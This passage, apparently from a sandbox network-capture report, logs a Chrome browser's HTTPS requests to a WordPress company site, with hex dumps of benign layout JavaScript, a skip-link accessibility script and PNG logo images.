2024-10-07 11:17:03 UTC	8000	IN	Data Raw: 6e 28 29 7b 66 6f 72 28 76 61 72 20 61 3d 7b 7d 2c 62 3d 30 2c 63 3d 70 2e 6c 65 6e 67 74 68 3b 63 3e 62 3b 62 2b 2b 29 7b 76 61 72 20 65 3d 70 5b 62 5d 2c 66 3d 64 28 65 29 3b 66 26 26 66 21 3d 3d 65 26 26 28 61 5b 65 5d 3d 66 29 7d 72 65 74 75 72 6e 20 61 7d 28 29 3b 65 2e 65 78 74 65 6e 64 28 67 2e 70 72 6f 74 6f 74 79 70 65 2c 62 2e 70 72 6f 74 6f 74 79 70 65 29 2c 67 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 63 72 65 61 74 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 74 72 61 6e 73 6e 3d 7b 69 6e 67 50 72 6f 70 65 72 74 69 65 73 3a 7b 7d 2c 63 6c 65 61 6e 3a 7b 7d 2c 6f 6e 45 6e 64 3a 7b 7d 7d 2c 74 68 69 73 2e 63 73 73 28 7b 70 6f 73 69 74 69 6f 6e 3a 22 61 62 73 6f 6c 75 74 65 22 7d 29 7d 2c 67 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 6e 64 6c Data Ascii: n(){for(var a={},b=0,c=p.length;c>b;b++){var e=p[b],f=d(e);f&&f!==e&&(a[e]=f)}return a}();e.extend(g.prototype,b.prototype),g.prototype._create=function(){this._transn={ingProperties:{},clean:{},onEnd:{}},this.css({position:"absolute"})},g.prototype.handl
2024-10-07 11:17:03 UTC	8000	IN	Data Raw: 68 69 73 2e 73 69 7a 65 3d 64 28 74 68 69 73 2e 65 6c 65 6d 65 6e 74 29 7d 2c 67 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 67 65 74 4d 65 61 73 75 72 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 2c 66 3d 74 68 69 73 2e 6f 70 74 69 6f 6e 73 5b 61 5d 3b 66 3f 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 66 3f 63 3d 74 68 69 73 2e 65 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 66 29 3a 65 2e 69 73 45 6c 65 6d 65 6e 74 28 66 29 26 26 28 63 3d 66 29 2c 74 68 69 73 5b 61 5d 3d 63 3f 64 28 63 29 5b 62 5d 3a 66 29 3a 74 68 69 73 5b 61 5d 3d 30 7d 2c 67 2e 70 72 6f 74 6f 74 79 70 65 2e 6c 61 79 6f 75 74 49 74 65 6d 73 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 61 3d 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 73 46 Data Ascii: his.size=d(this.element)},g.prototype._getMeasurement=function(a,b){var c,f=this.options[a];f?("string"==typeof f?c=this.element.querySelector(f):e.isElement(f)&&(c=f),this[a]=c?d(c)[b]:f):this[a]=0},g.prototype.layoutItems=function(a,b){a=this._getItemsF
2024-10-07 11:17:03 UTC	8000	IN	Data Raw: 74 6f 74 79 70 65 2e 67 65 74 43 6f 6c 75 6d 6e 57 69 64 74 68 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 67 65 74 53 65 67 6d 65 6e 74 53 69 7a 65 28 22 63 6f 6c 75 6d 6e 22 2c 22 57 69 64 74 68 22 29 7d 2c 63 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 52 6f 77 48 65 69 67 68 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 74 68 69 73 2e 67 65 74 53 65 67 6d 65 6e 74 53 69 7a 65 28 22 72 6f 77 22 2c 22 48 65 69 67 68 74 22 29 7d 2c 63 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 53 65 67 6d 65 6e 74 53 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 3d 61 2b 62 2c 64 3d 22 6f 75 74 65 72 22 2b 62 3b 69 66 28 74 68 69 73 2e 5f 67 65 74 4d 65 61 73 75 72 65 6d 65 6e 74 28 63 2c 64 29 2c 21 74 68 69 73 5b 63 5d 29 7b 76 61 72 20 65 3d 74 Data Ascii: totype.getColumnWidth=function(){this.getSegmentSize("column","Width")},c.prototype.getRowHeight=function(){this.getSegmentSize("row","Height")},c.prototype.getSegmentSize=function(a,b){var c=a+b,d="outer"+b;if(this._getMeasurement(c,d),!this[c]){var e=t
2024-10-07 11:17:03 UTC	8000	IN	Data Raw: 72 65 64 49 74 65 6d 73 3d 63 2e 6d 61 74 63 68 65 73 3b 76 61 72 20 64 3d 74 68 69 73 3b 74 68 69 73 2e 5f 62 69 6e 64 41 72 72 61 6e 67 65 43 6f 6d 70 6c 65 74 65 28 29 2c 74 68 69 73 2e 5f 69 73 49 6e 73 74 61 6e 74 3f 74 68 69 73 2e 5f 6e 6f 54 72 61 6e 73 69 74 69 6f 6e 28 62 29 3a 62 28 29 2c 74 68 69 73 2e 5f 73 6f 72 74 28 29 2c 74 68 69 73 2e 5f 6c 61 79 6f 75 74 28 29 7d 2c 6d 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 6e 69 74 3d 6d 2e 70 72 6f 74 6f 74 79 70 65 2e 61 72 72 61 6e 67 65 2c 6d 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 67 65 74 49 73 49 6e 73 74 61 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 76 6f 69 64 20 30 21 3d 3d 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 69 73 4c 61 79 6f 75 74 49 6e 73 74 61 6e 74 3f 74 68 69 73 2e 6f 70 Data Ascii: redItems=c.matches;var d=this;this._bindArrangeComplete(),this._isInstant?this._noTransition(b):b(),this._sort(),this._layout()},m.prototype._init=m.prototype.arrange,m.prototype._getIsInstant=function(){var a=void 0!==this.options.isLayoutInstant?this.op
2024-10-07 11:17:03 UTC	597	IN	Data Raw: 74 28 29 2e 6c 65 66 74 29 5d 28 22 6f 6e 58 22 29 7d 29 2e 6f 6e 28 22 63 6c 69 63 6b 22 2c 22 2e 6f 6e 58 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 24 28 74 68 69 73 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 22 78 20 6f 6e 58 22 29 2e 76 61 6c 28 22 22 29 2e 63 68 61 6e 67 65 28 29 7d 29 2c 24 28 22 23 73 65 61 72 63 68 2d 66 69 6c 74 65 72 22 29 2e 66 61 73 74 4c 69 76 65 46 69 6c 74 65 72 28 22 2e 72 65 73 6f 75 72 63 65 73 22 29 2c 24 28 22 23 73 65 61 72 63 68 2d 66 69 6c 74 65 72 22 29 2e 74 72 69 67 67 65 72 28 22 63 68 61 6e 67 65 22 29 2c 24 28 22 61 5b 64 61 74 61 2d 72 65 6c 5e 3d 6c 69 67 68 74 63 61 73 65 5d 22 29 2e 6c 69 67 68 74 63 61 73 65 28 29 2c 6e 61 76 69 67 61 74 69 6f 6e 28 29 2c 73 75 62 4e 61 76 69 67 61 74 69 6f 6e 28 29 2c 61 63 Data Ascii: t().left)]("onX")}).on("click",".onX",function(){$(this).removeClass("x onX").val("").change()}),$("#search-filter").fastLiveFilter(".resources"),$("#search-filter").trigger("change"),$("a[data-rel^=lightcase]").lightcase(),navigation(),subNavigation(),ac

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	49808	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:03 UTC	495	OUT	GET /2016/wp-content/themes/twb_2016/js/skip-link-focus-fix.js?ver=20130115 HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1
2024-10-07 11:17:03 UTC	267	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:03 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:52:20 GMT Accept-Ranges: bytes Content-Length: 751 Vary: Accept-Encoding Content-Type: application/javascript
2024-10-07 11:17:03 UTC	751	IN	Data Raw: 28 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 76 61 72 20 69 73 5f 77 65 62 6b 69 74 20 3d 20 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2e 69 6e 64 65 78 4f 66 28 20 27 77 65 62 6b 69 74 27 20 29 20 3e 20 2d 31 2c 0a 09 20 20 20 20 69 73 5f 6f 70 65 72 61 20 20 3d 20 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2e 69 6e 64 65 78 4f 66 28 20 27 6f 70 65 72 61 27 20 29 20 20 3e 20 2d 31 2c 0a 09 20 20 20 20 69 73 5f 69 65 20 20 20 20 20 3d 20 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2e 69 6e 64 65 78 4f 66 28 20 27 6d 73 69 65 27 20 29 20 20 20 3e 20 2d 31 3b 0a 0a 09 69 66 20 28 20 28 20 Data Ascii: ( function() {var is_webkit = navigator.userAgent.toLowerCase().indexOf( 'webkit' ) > -1, is_opera = navigator.userAgent.toLowerCase().indexOf( 'opera' ) > -1, is_ie = navigator.userAgent.toLowerCase().indexOf( 'msie' ) > -1;if ( (

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	49807	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:03 UTC	731	OUT	GET /2016/wp-content/uploads/2015/08/FSW-machine-landing-pg-option-3.png HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1
2024-10-07 11:17:03 UTC	235	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:03 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Mon, 12 Feb 2018 15:38:01 GMT Accept-Ranges: bytes Content-Length: 4140692 Content-Type: image/png
2024-10-07 11:17:03 UTC	7957	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 07 80 00 00 04 38 08 06 00 00 00 e8 d3 c1 43 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 ff a5 49 44 41 54 78 5e b4 fd 69 48 5d d9 da f7 8d de a9 bd 0b aa 52 95 10 12 8c a2 88 8a 0d a8 b8 d6 42 50 51 14 11 15 45 41 45 51 41 d6 62 b9 16 b8 d4 85 62 83 0d 2a 76 88 3d d8 24 24 a4 21 0d 09 a9 34 90 a6 92 22 a9 84 84 f4 c4 74 a4 93 24 a6 af aa 5d b5 ab 76 ed 5d cf fd be f7 fb 1c ce 79 df 0f ff 73 fd af e9 58 59 49 65 df cf 79 3e 9c 0f 7f c6 98 63 f6 63 8e 39 e6 18 f3 37 ae 6b fc 47 45 69 0a 4a 8a 12 51 98 17 8b fc 9c 68 14 e4 c6 e8 72 59 a9 1d 55 95 e9 28 2f 4b 47 71 91 0d 99 59 f1 70 a4 46 21 2e Data Ascii: PNGIHDR8CsRGBgAMAapHYsodIDATx^iH]RBPQEAEQAbb*v=$$!4"t$]v]ysXYIey>cc97kGEiJQhrYU(/KGqYpF!.
2024-10-07 11:17:03 UTC	8000	IN	Data Raw: 57 23 52 5f 0d e2 d5 8b 51 bc 7d 31 26 ef e3 6a b8 32 8c b7 cf 87 14 00 bf 79 2a ef 6e 30 00 96 fa c2 02 9a 9f 00 c0 8f 9a 02 fa 14 00 7e f2 a0 09 f7 ef 70 30 4d a3 d4 a3 7e 6b 70 c9 a3 b6 0f f5 50 ea 1d d6 c9 ab 10 98 e0 f7 f5 72 c7 aa e4 1a e4 5a 56 1e 75 4a 7d ee c7 fd 5b 8d b8 77 b3 09 4b d7 9b 70 eb 5a a3 c2 60 05 c2 d7 fd b8 75 b5 05 b7 24 bc 7e ad 59 75 e3 86 6c 27 eb ee dd 6e c5 f2 a3 9e 55 f8 db 85 a7 0f da f0 ec 91 d4 dd 4f e4 be 9e 4a 9d f8 8c 83 5b a4 be 24 10 26 00 96 73 12 fe be 15 bd 7a dc 86 57 72 9f d4 9b e5 36 51 0b de 3d 63 d8 ac 7a 2d 7a f5 a4 49 43 ae fb 58 6f 9f fa 65 5d a3 6c e3 53 31 ce fd 7e 90 3a f1 87 e7 72 de c7 52 47 3f 90 6b bb dd 8b 27 37 fb 70 fb 52 37 ae 9e 6e c7 b7 df 34 e1 d8 de 46 05 c1 07 b7 35 62 d7 6c 3d b6 4f b8 30 Data Ascii: W#R_Q}1&j2y*n0~p0M~kpPrZVuJ}[wKpZ`u$~Yul'nUOJ[$&szWr6Q=cz-zICXoe]lS1~:rRG?k'7pR7n4F5bl=O0
2024-10-07 11:17:03 UTC	8000	IN	Data Raw: f0 f8 6a b6 82 60 5a 03 2f 5f 4b c3 d3 1b a9 12 26 e1 c9 d5 38 3c ba 18 89 fb df 87 e0 e9 b5 48 bc 5c 8a c7 eb bb b4 fa 4d c6 3b b5 fe b5 60 aa ea 7e 2c 68 a1 ab f0 97 90 77 d5 ba d7 82 b9 b1 7f 12 ad 6b 3f 25 0b ba 5a 71 5a e1 72 99 00 98 c7 b4 2c 80 63 56 01 f0 87 00 97 d6 bb 8c 73 5d c0 ca 57 ae 8b f0 97 fb 31 34 30 58 21 f5 ea be 6a f5 bb 14 2a d7 49 00 6c c1 5f 03 80 ad eb e0 f5 d2 6d 32 af c3 92 b9 4e 6e 13 00 c5 ab fb e9 b5 ae de 7b 40 0a 80 25 14 19 0b df 8f 97 5f 3f 4c 94 90 56 bf 92 c7 12 37 7a 71 3f 0e 2b f7 24 9f 1f d8 f0 fa 7e 0a 5e dd 4b c6 cb bb 92 7e 27 41 af eb 4f 16 c0 ab 10 f8 a9 3c 2b 03 83 55 41 70 f7 03 00 1c 0c 7c 83 b6 09 86 bf 5c 26 fc fd 77 00 98 16 be 4f 3f 01 80 4d 1a e1 f9 f2 8d 28 3c be 12 8d 07 17 a9 58 51 bc 82 60 42 60 5a Data Ascii: j`Z/_K&8<H\M;`~,hwk?%ZqZr,cVs]W140X!j*Il_m2Nn{@%_?LV7zq?+$~^K~'AO<+UAp\|\&wO?M(<XQ`B`Z
2024-10-07 11:17:03 UTC	8000	IN	Data Raw: fb dc 8e b9 5d f3 e0 9c e7 f4 02 41 00 1c 97 9e 88 78 e9 0f 50 89 d2 37 88 95 7e 41 74 ba b4 ed 24 4c c8 4e d2 1f 1c fc 61 93 5d 28 df be b2 38 9d de c4 e7 4a 40 8b 74 cc fc ce 75 d2 b9 0b c5 fe 79 69 f3 ec ce 0e 00 e0 ef 76 a5 e3 d0 74 3c 16 fa 42 30 d1 be 41 2d 80 0d 00 e6 60 28 5a 00 27 24 ad d7 51 c7 71 49 f1 da de dc 1c 9b 84 4d ab 16 c0 66 b4 34 3b cf c1 23 aa 3f 06 c0 a6 a3 1d dc 09 37 22 c8 35 80 38 38 fe 71 a7 9d b0 d7 58 f6 7e 1c 7e 1d 67 cd 21 4c d8 cb 11 e3 a1 29 4c 7f 0f 80 d7 c7 70 2e 29 8e 08 cf 42 48 3c ad 81 b3 25 6e cd 17 45 ef 39 6c 33 eb 08 ff c4 cd ea a2 6e f7 ee 3e 3c b8 7f 00 2f 57 8e 62 f9 c9 0e ac 3c df 29 e1 24 5e bf 98 c1 ca b3 11 bc 78 d6 fb 27 00 6c dc 1f 07 c3 5f 23 c2 de 00 04 5e d5 07 00 98 fa 37 10 38 18 74 1a 00 6a f4 f1 Data Ascii: ]AxP7~At$LNa](8J@tuyivt<B0A-`(Z'$QqIMf4;#?7"588qX~~g!L)Lp.)BH<%nE9l3n></Wb<)$^x'l_#^78tj
2024-10-07 11:17:03 UTC	8000	IN	Data Raw: 91 5d 99 38 b6 33 4d a7 25 d8 bf cd 86 f9 a9 18 b4 b6 7e 8e ea ba 35 28 ad 5e 83 ec 92 cf 3e 00 c0 a9 e5 29 1f 01 e0 32 75 27 4c a0 d9 d4 d9 a0 1d 5d ce 2b 5e db 54 23 df f2 3f 03 60 86 26 7f 0c f4 a5 4c dc e4 3d 97 cd f3 60 9c 69 5c 47 30 4c eb e0 e0 7d 99 ce 6d f9 0c cd b3 64 9e 32 af 18 32 ef 08 7b 4d 68 20 3c 65 f2 99 62 ba 01 c0 c1 cf ca ac a7 b8 8e c7 e4 3a 73 3e 5e 23 cb 0a e3 2c 2b 8c f3 7a b8 1c 0c 80 29 ae 23 00 a6 f5 b6 b1 ee 35 f3 46 7d 0c 80 f9 7c cd 36 04 c0 fc 61 67 00 b0 5a f7 3a 38 c2 34 56 43 03 83 8d f5 2f 3b 1c ec 94 44 24 72 9a 8f 58 a4 17 e6 c8 f1 a4 f3 b6 6b 11 43 73 23 28 ab af 90 ed 09 8a c3 a5 4d 19 8e 08 f9 86 12 f8 1a 00 cc e5 a8 54 9e 83 2e a7 c3 91 94 1a ae 03 df d8 79 6a f6 d8 d5 9b 05 a7 26 e0 7c 3e 7b a6 53 71 72 57 8e 7c Data Ascii: ]83M%~5(^>)2u'L]+^T#?`&L=`i\G0L}md22{Mh <eb:s>^#,+z)#5F}\|6agZ:84VC/;D$rXkCs#(MT.yj&\|>{SqrW\|
2024-10-07 11:17:03 UTC	8000	IN	Data Raw: 58 1a a0 a3 0a d3 67 f7 2e 2a 00 de 7b e6 a8 c2 df 1d a7 0e 28 00 de 72 62 5f 00 00 73 be 5f ba 7c 26 04 36 d6 c0 06 fc 12 02 53 6a 21 fc ed b6 00 04 36 96 bf 84 bf ef 75 39 00 7d df c3 df 8b 01 0b e1 bb 3f 3d 50 00 fc 72 d5 fa 97 f0 57 c3 7f bd c2 8b df 5f e2 f1 cf cb b8 20 db ee 3c bd 1d 1d 33 ad 70 f7 c9 fd 49 23 59 2d 80 57 01 30 e7 05 26 98 23 38 24 cc 63 dc 00 44 8a 16 9d c6 02 d8 00 60 6e 6b a5 5b 00 98 c0 90 90 d0 88 e9 84 85 ea 66 5a d6 51 06 00 f3 7c c6 fa 98 fb 11 24 32 34 d2 11 ed 6d 4e 3d 0e d7 71 d9 1c 9f e7 22 d4 e4 b2 02 c9 ee 55 2b e0 5e cb a3 08 45 08 6c 00 b0 4f da 40 9d 1d 95 e8 6c 2f 86 df 97 6a cd 95 e2 8d 42 af 4f ea 9f 2e 02 60 07 8e ed ce c1 c9 3d 99 12 a6 e2 e0 0e 69 d7 cc c5 a1 a3 fd 0b e9 58 af 41 45 ed 1a e4 94 7e 1a 00 17 b8 Data Ascii: Xg.*{(rb_s_\|&6Sj!6u9}?=PrW_ <3pI#Y-W0&#8$cD`nk[fZQ\|$24mN=q"U+^ElO@l/jBO.`=iXAE~
2024-10-07 11:17:04 UTC	8000	IN	Data Raw: 30 38 3f 2a 1a 47 fd 40 87 34 b6 f2 15 00 33 c4 a9 bf 3c 13 03 e4 fe e4 1b 29 cf 48 47 34 32 e5 3b ac ed 64 68 15 e9 40 ce 13 22 13 00 4f 61 62 af 1c a7 6c 7f 42 8e 95 2e 60 cb 01 3c 28 c7 bf 12 02 9a 62 f8 67 42 5f 3a 7f 09 80 2d 08 3c 84 de 9d dd 68 1d 6f 56 f7 af ab bb 42 01 70 43 7f 1d 1a 07 e4 7f 1b a8 43 75 4f ad c2 df b2 b6 0a 05 84 96 1b b8 49 4a 2b f7 2f dd bf 0c ef cd 50 31 69 a5 19 48 29 96 df 9f 74 c0 d2 8b 1c 3a 5a 96 e9 05 fa 47 2a 30 30 5c 81 8e ee 3c 8d 3a 51 53 9f 28 0d a6 50 6b 00 52 ba 3c f7 32 02 14 06 a7 65 85 e8 e0 87 b1 a9 26 4c 4c b7 a3 7f b8 01 ad 9d 95 ea 00 ee 1b 69 c7 c8 f4 20 06 b7 0f 29 fc 1d dc 21 e7 71 7e 0a 53 fb 66 31 73 78 01 73 df ef d5 dc bf bb 7e 38 82 85 53 07 31 7d 74 17 c6 f6 33 87 f3 2c e6 4f ee c5 de 73 07 b1 ff Data Ascii: 08?G@43<)HG42;dh@"OablB.`<(bgB_:-<hoVBpCCuOIJ+/P1iH)t:ZG00\<:QS(PkR<2e&LLi )!q~Sf1sxs~8S1}t3,Os
2024-10-07 11:17:04 UTC	8000	IN	Data Raw: 21 e8 13 15 00 27 26 47 79 1c c0 0e 11 43 40 27 c9 75 e8 94 eb 2e 5d ae 17 e6 00 a6 eb 97 e0 97 a5 71 00 33 fc 33 01 70 71 7c 18 5c e9 76 b4 96 66 62 b4 ad 42 21 f0 40 47 19 da 9b f2 d1 d1 5c 28 0f 85 02 34 4b 47 88 20 98 50 a4 aa 26 0b a5 a5 0e 94 97 3b 51 21 1d a9 46 69 68 12 18 d3 f9 3b d4 56 8a c1 d6 12 69 38 66 a2 3a cf 8e 22 79 10 11 02 d3 01 cc 10 d0 b9 72 9c 45 69 76 94 66 27 7b 00 f0 8a 03 38 47 1d c0 04 c0 95 d2 a8 ae 94 06 6a 65 45 0a 6a aa 1c 68 aa 96 07 46 a3 0d ed 0d 21 18 68 0d c1 ce de 48 0d 27 7f 76 5f 0a 2e 1d 4e c1 95 c3 0e 05 c0 c7 67 22 30 d7 bb 05 c3 0d 5f a1 ad 62 9d 0e 2c 31 00 b8 bc 24 04 95 e5 1c f9 e4 40 a1 74 04 f2 a5 61 5c 24 ff 0b c3 df 33 4c 12 73 d9 12 fe d2 fd 4b 00 cc 3a 9d 5f 95 0d 55 d2 e8 94 b2 b6 42 e1 6f 43 2b f3 fd Data Ascii: !'&GyC@'u.]q33pq\|\vfbB!@G\(4KG P&;Q!Fih;Vi8f:"yrEivf'{8GjeEjhF!hH'v_.Ng"0_b,1$@ta\$3LsK:_UBoC+
2024-10-07 11:17:04 UTC	8000	IN	Data Raw: 51 00 7c 6a 26 41 01 f0 a5 3d 36 9c 5b 08 c5 77 13 5b a5 03 b3 0e d3 04 c0 c3 df e2 fb f9 30 1c 59 88 c6 c1 f9 38 cc 8c 45 a3 b5 d1 17 05 79 1b 3c 00 38 33 2f 4a 6e 7c 56 e8 10 4b 2b 00 38 bd 90 21 a0 d3 e4 66 98 89 ec 52 02 56 cb a5 cb 86 37 1b da 14 eb 04 bf 96 53 90 d3 2b b2 f2 02 a7 eb e8 4c 23 8e 10 32 f5 ac a2 74 cd 4f a1 f3 64 bb 5f 12 1b f7 dc cf 5a 00 ec ed 08 66 63 c7 00 5f 1e 8f ba 87 45 2b 00 38 4b 3a 0d 4e 30 0f 46 42 52 34 12 12 a3 90 18 1f 89 24 91 23 36 0c 8e c8 50 24 c9 b5 9b 2c d7 64 66 44 88 02 60 e3 fe 2d 89 66 19 62 b9 7f e5 bb a1 5c 29 31 68 2a 48 91 df 62 21 06 9b 2d 17 6f 57 63 be 28 17 5d cd 79 e8 94 92 ea 6a 2d d4 e9 16 79 70 32 0f 41 5d 45 12 9a a5 01 d9 d7 9a 8f e1 f6 22 8c b4 15 cb e7 0b 65 3b b9 68 91 ce 56 59 6a 24 0a 93 c3 Data Ascii: Q\|j&A=6[w[0Y8Ey<83/Jn\|VK+8!fRV7S+L#2tOd_Zfc_E+8K:N0FBR4$#6P$,dfD`-fb\)1h*Hb!-oWc(]yj-yp2A]E"e;hVYj$
2024-10-07 11:17:04 UTC	8000	IN	Data Raw: 5f ac 95 13 96 0e 51 82 60 2a 29 29 01 15 15 65 e8 e8 6c f9 1d 00 ee 1f 6f 47 df 24 9d c0 1d 18 d8 de 89 5e 29 09 7c 2d f8 bb 1a 00 7b 3b 80 09 7c 0d 00 a6 14 00 0f 37 e2 bf 72 00 d7 74 16 a3 aa bd 50 e1 af 05 80 b3 a4 cc 44 b6 dc f4 d3 e4 41 65 4b 0d 53 00 bc 29 fc 5b 6c 0e fd 06 5b c2 36 e8 43 c6 27 d4 ca 7f 6c 1c c0 04 c0 c1 ea 00 66 08 68 5f 44 c8 7c 02 e0 a8 a0 f5 88 0e b4 00 70 66 c2 26 b4 57 c5 61 e7 40 b6 34 3e 1d 68 2b dd 86 ba dc af 51 9b b9 0e d5 19 eb d0 51 f4 15 26 9a 7c b1 67 20 02 c7 b6 c7 bb 1d c0 21 9a 03 98 0e 60 86 93 18 6c d8 84 ee 9a f5 ea d6 ab 2a a0 03 78 35 00 36 0e e0 a0 e0 6f 15 00 f3 b8 08 4b b7 fa 6f 51 19 d7 b6 81 b1 06 6e 52 7e 21 be 2a 02 60 ea 8f 00 b0 3e 74 f8 19 02 d3 70 26 a6 0f 5b 05 80 29 03 7f fd bd 06 0d 18 f0 eb bd Data Ascii: _Q`))eloG$^)\|-{;\|7rtPDAeKS)[l[6C'lfh_D\|pf&Wa@4>h+QQ&\|g !`lx56oKoQnR~!*`>tp&[)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	49810	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:03 UTC	506	OUT	GET /2016/wp-content/themes/twb_2016/assets/images/logos/worthington-industries-v3.png HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1
2024-10-07 11:17:04 UTC	232	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:04 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Thu, 04 Jan 2024 22:28:38 GMT Accept-Ranges: bytes Content-Length: 4541 Content-Type: image/png
2024-10-07 11:17:04 UTC	4541	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 e9 00 00 00 33 08 06 00 00 00 72 92 2f aa 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 9d 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 39 2e 31 2d 63 30 30 31 20 37 39 2e 31 34 36 32 38 39 39 37 37 37 2c 20 32 30 32 33 2f 30 36 2f 32 35 2d 32 33 3a 35 37 3a Data Ascii: PNGIHDR3r/tEXtSoftwareAdobe ImageReadyqe<iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.1462899777, 2023/06/25-23:57:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	49812	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:03 UTC	474	OUT	GET /2016/wp-content/uploads/2019/05/baosteeldark2.png HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1
